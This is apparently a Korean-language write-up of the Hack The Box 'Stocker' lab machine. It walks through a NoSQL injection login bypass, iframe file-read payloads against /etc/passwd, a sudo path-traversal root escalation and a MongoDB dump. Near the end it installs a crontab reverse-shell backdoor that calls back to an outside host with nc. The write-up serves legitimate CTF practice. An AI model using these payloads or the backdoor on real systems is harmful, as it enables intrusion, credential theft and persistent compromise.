HTB

stocker

Hack The Box Stocker

stocker

1. nmap -sC -sV -oA nmap/stocker 10.10.11.196

  • sC: 스크립트 스캔을 활성화한다.

Nmap은 기본 스캔 결과 외에도 포트와 서비스와 관련된 추가 정보를 수집하기 위해 일련의 스크립트를 실행한다.
이 옵션을 사용하여 기본적인 스크립트 스캔을 수행한다.

  • sV: 버전 감지를 활성화한다.

Nmap은 네트워크 서비스의 버전 정보를 식별하기 위해 포트에 접속한 후 해당 서비스와 통신한다.
이 옵션을 사용하여 포트에 연결된 서비스의 버전을 식별한다.

  • oA nmap/stocker: 출력 파일의 이름을 지정한다.

이 경우, nmap 폴더 내의 stocker라는 이름을 가진 세 개의 출력 파일이 생성된다.
이 출력 파일은 스크립트 스캔 결과, 버전 감지 결과, 그리고 일반적인 포트 스캔 결과를 포함한다.
이렇게 명령어를 실행하면 주어진 IP 주소에 대한 포트 스캔이 수행되고, 스크립트 스캔 및 버전 감지 결과를 포함한 세 개의 출력 파일이 생성된다.

2. less stocker.nmap

stocker.nmap 파일을 텍스트 기반의 뷰어인 less를 사용하여 열고 볼 수 있게 해준다.
이 명령어는 stocker.nmap 파일의 내용을 페이지 단위로 스크롤하며 확인할 수 있다.

less는 대용량 파일이나 긴 텍스트를 읽을 때 유용한 도구이다.
기본적으로 파일을 읽기 모드로 열며, 파일의 내용을 페이지 단위로 보여준다.
다음과 같은 키를 사용하여 파일 내용을 탐색할 수 있다

  • 스페이스바: 다음 페이지로 이동한다.
  • 엔터: 다음 줄로 이동한다.
  • 백스페이스: 이전 페이지로 이동한다.
  • /검색어: 지정한 검색어를 찾는ㅏ.
  • 다음 검색 결과로 이동하려면 n을 누르고 이전 검색 결과로 이동하려면 Shift+n을 누른다.
  • q: less를 종료한다.

3. vi /etc/hosts

dns 설정을 위해 다음을 추가한다.
10.10.11.196 stocker.htb
저장하고 firefox 에서 10.10.11.196 입력하면 website에 접속 된다.

4. Wappalyzer, FoxyProxy 설치

  • Wappalyzer

Wappalyzer is a browser extension that uncovers the technologies used on websites. It detects content management systems, eCommerce platforms, web servers, JavaScript frameworks, analytics tools and many more.

  • FoxyProxy

FoxyProxy is an advanced proxy management tool that completely replaces Firefox’s limited proxying capabilities. For a simpler tool and less advanced configuration options, please use FoxyProxy Basic.

5. gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u stocker.htb -t 50 —append-domain

명령어를 실행하기 전에 subdomains-top1million-5000.txt이 없으면 https://github.com/danielmiessler/SecLists 을 참고해서 install 하자.
아래는 gobuster option 설명이다.

  • vhost: 이 옵션은 가상 호스트(Virtual Host) 모드로 gobuster를 실행하도록 지정합니다.

가상 호스트 모드는 웹 서버가 여러 도메인 또는 하나의 IP 주소에 여러 웹 사이트를 호스팅할 때 사용됩니다.

  • -u stocker.htb: -u 옵션은 대상 URL을 지정합니다.

이 경우 stocker.htb가 대상 URL로 사용됩니다. 해당 URL은 브루트 포싱 대상으로 지정된 도메인 또는 IP 주소를 나타냅니다.

  • -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt: -w 옵션은 워드리스트(wordlist) 파일의 경로를 지정합니다.

워드리스트는 gobuster가 브루트 포싱 과정에서 사용할 가능한 서브도메인 또는 디렉터리 목록을 포함합니다.
이 경우 /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt 파일을 사용합니다.
해당 파일은 DNS 서브도메인 브루트 포싱에 사용되는 일반적인 서브도메인 목록을 포함하고 있습니다.

  • -t 50: -t 옵션은 동시에 실행될 요청(스레드)의 수를 지정합니다.

이 경우 50개의 스레드를 사용하여 브루트 포싱을 동시에 실행합니다. 이 값을 조정하여 브루트 포싱의 속도와 부하를 조절할 수 있습니다.

  • —append-domain: 이 옵션은 워드리스트의 각 항목에 대상 도메인을 자동으로 추가합니다.

따라서, 워드리스트에 있는 각 서브도메인 항목 뒤에 stocker.htb 도메인이 자동으로 추가됩니다.

이 명령어는 gobuster를 사용하여 stocker.htb 도메인의 가상 호스트를 브루트 포싱하고, /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 워드리스트를 사용하여 서브도메인을 찾으려고 합니다.
50개의 스레드를 사용하여 동시에 실행되며, 각 워드리스트 항목 뒤에 stocker.htb 도메인이 자동으로 추가됩니다.

아래와 같이 subdomain dev.stocker.htb 을 찾을수 있다.

Test Image

firefox로 접속 하자.

6. iframe injection

아래와 같은 로그인 화면이 나오는데 burpsuite로 intercept 해서 injection 을 하자.

Test Image

요청을 Repeater로 보내자. google 에서 PayloadsAllTheThings을 검색해서 github에 들어가면 NoSQL Injection 을 검색할수 있다. username[$ne]=admin&password[$ne]=password 로 injection을 시도하면 실패한다.

Test Image

Content-Type 을 json 으로 변경해서 아래와 같이 시도하면 성공한다.
{“username”: {“$ne”: null}, “password”: {“$ne”: null}}

Test Image

주문할수 있는 페이지로 접근 가능하고 주문해서 장바구니를 확인해보면 pdf 파일이 실행되는것을 알수있다.

pdf 파일을 저장해서 아래와 같이 exiftool 로 meta data를 확인해 보자.

Copy
exiftool document.pdf

Test Image

Producer : Skia/PDF m108 로 부터 google 에서 어떤 취약점이 있는지 검색해보자.

취약점이 발견되지 않아 iframe injection 을 시도해 보자.

burpsuite 에서 아래와 같이 수정하면

Copy
"title":"Bin<iframe src='file:///etc/passwd' height='1000' width='1000'></iframe>",

Test Image

angoose 사용자를 찾을 수 있다. 아래와 같이 ssh key를 찾아 보자.

Copy
"title":"Bin<iframe src='file:///home/angoose/.ssh/id_rsa' height='1000' width='1000'></iframe>",

발견되지 않는다.

Test Image

burpsuite 에서 } 를 ] 로 변경해서 error 를 발생시켜 보자.

response에서 소스파일들을 확인해 볼수 있다.

index.js 파일에서 패스워드 “IHeardPassphrasesArePrettySecure” 를 확인할수 있다.

Test Image

Test Image

angoose 사용자의 ssh 패스워드와 동일한지 확인해 보자.
아래와 같이 로그인 되는것을 확인할수 있다.

Test Image

7. 권한 상승

sudo -l 명령어로 root 권한으로 실행가능한 명령을 확인해보자

Test Image

/usr/local/scripts 에서 다음 명령어로 확인해 보면 쓰기 가능하지 않다.

Copy
find . -writable

하지만 위에서 sudo -l 로 확인 했을때 /usr/local/scripts/*.js 로 되있어서 * 때문에 directory traversal attack 이 가능하다.
구글에서 GTFOBins 를 검색해서 github 으로 들어가지.
node 검색후 sudo를 클릭한후 아래 명령어를 복사하자.
Copy
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]}); 
  • ‘require(“child_process”).spawn(“/bin/sh”, {stdio: [0, 1, 2]})’: 이 부분은 JavaScript 코드로 작성된 부분으로, Node.js에서 실행됩니다. 이 코드는 “child_process” 모듈을 사용하여 “/bin/sh” 명령어를 실행하는 새로운 프로세스를 생성합니다. “/bin/sh”은 일반적으로 리눅스 시스템에서 사용되는 기본 셸(Shell)의 경로입니다. {stdio: [0, 1, 2]}는 “stdio”라는 옵션을 설정하여 표준 입출력 및 오류 출력 스트림을 새로운 프로세스로 리디렉션합니다. [0, 1, 2]는 표준 입력(stdin), 표준 출력(stdout) 및 표준 오류(stderr)를 현재 프로세스와 공유하도록 합니다. 따라서, 해당 명령어를 실행하면 “/bin/sh” 셸이 시작되며, 사용자는 해당 셸에서 명령어를 입력하고 결과를 볼 수 있습니다.

/dev/shm/netwaif.js 파일에 붙여넣기 하자.

아래와 같이 directory traversal attack 을 이용해서 root 권한을 얻자.

Copy
sudo /usr/bin/node /usr/local/scripts/../../../../dev/shm/netwaif.js

아래와 같이 root로 로그인에 성공했다.

Test Image

bash 를 입력해서 bash 쉘을 시작하자.

Copy
bash

아래와 같이 패스워드를 password 로 수정하자.

Test Image

8. mongodb 분석

Copy
head -30 index.js

index.js 에서 mongodb 접속 정보를 검색하자.

아래 명령어로 dump 를 해보자.

Copy
mongodump -u dev

위에서 dev는 사용자명 이다.

Test Image

/dev/shm/dump/dev 로 이동해서 bsondump 를 이용하자.

Copy
bsondump users.bson

아래와 같은 내용을 확인할수 있다.

Test Image

타겟에 jq가 없으므로 위에 내용을 복사해서 칼리로 돌아와 명령을 입력하자.

Copy
echo -n '{"_id":{"$oid":"638f116eeb060210cbd83a8a"},"username":"angoose","password":"b3e795719e2a644f69838a593dd159ac","__v":{"$numberInt":"0"}}' | jq .

아래와 같이 json 내용이 출력된다.

Test Image


아래 명령을 실행해서 orders.bson 파일의 내용을 bsondump를 통해 분석하여 해당 데이터를 클라이언트에게 전송하자.
Copy
nc -lvnp 9001 < <(bsondump orders.bson )
  • -l 옵션은 Netcat을 리스닝 모드로 설정하고, -v 옵션은 상세한 출력을 제공합니다. -n 옵션은 DNS 이름 해석을 비활성화하고 IP 주소를 숫자로 표시합니다. -p 9001은 포트 번호를 9001로 지정합니다.
  • <: 리디렉션 연산자로서, 명령어가 입력을 파일로부터 읽을 수 있도록 합니다. 여기서는 orders.bson 파일의 내용을 입력으로 사용합니다.
  • < <(bsondump orders.bson): <( 및 ) 사이에 있는 부분은 프로세스 substitution 입니다. bsondump orders.bson 명령어는 orders.bson 파일을 bson 형식에서 읽어서 해당 데이터를 출력하는 도구입니다. 이 명령어의 출력이 명령어 자체의 입력으로 사용됩니다.

Test Image

칼리 에서 다음 명령어를 실행해서 전송 결과를 저장하자.

Copy
nc stocker.htb 9001 > orders.json

저장된 파일을 jq 를 이용해 화면에 보기좋게 출력하자.

Copy
cat orders.json | jq . | less
  • less: less는 텍스트 파일을 페이징된 형식으로 표시하는 유틸리티입니다. 여기서는 jq 명령어의 출력을 less를 사용하여 페이지 단위로 스크롤하며 표시합니다.

9. 백도어 설치

구글에서 reverse shell cheat sheet 를 검색해서 github에 들어가자.
Tools 에 reverse-shell-generator 로 들어가자.
아래와 같은 화면에서 copy 버튼으로 복사를 하자.

Test Image


/etc/crontab 파일에 다음을 내용을 추가하자.

Copy
echo "* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.24 9001 >/tmp/f" >> /etc/crontab

여기서 root 이후부터 ” 까지가 위에서 copy 버튼으로 복사한 내용이다.
그리고 * * * * * 은 1분마다 실행 하는것을 의미한다.


칼리 리눅스에서 리스닝 하자.
Copy
nc -lvnp 9001

Test Image


다음 명령어를 이용해서 bash shell 을 생성하자.
Copy
python3 -c 'import pty;pty.spawn("/bin/bash")'

이 명령어는 칼리 리눅스에서 Python3 인터프리터를 실행하고, 그 안에서 pty 모듈을 사용하여 새로운 대화형 셸을 스폰(spawn)하는 역할을 한다.
이렇게 하면 현재 실행 중인 셸에서 새로운 대화형 셸을 실행할 수 있다.
여기서 pty는 “pseudo-terminal”의 약자로, 터미널과 유사한 환경을 제공하는 파이썬 모듈이다.
pty.spawn() 함수는 새로운 프로세스를 시작하고, 해당 프로세스와 상호작용할 수 있는 PTY(가상 터미널) 세션을 설정한다. 이렇게 하면 새로운 대화형 셸을 제어할 수 있다.

Test Image

Reference

https://velog.io/@certa/HackTheBox-Stocker-walkthrough
https://youtu.be/fWMHh8GYqJE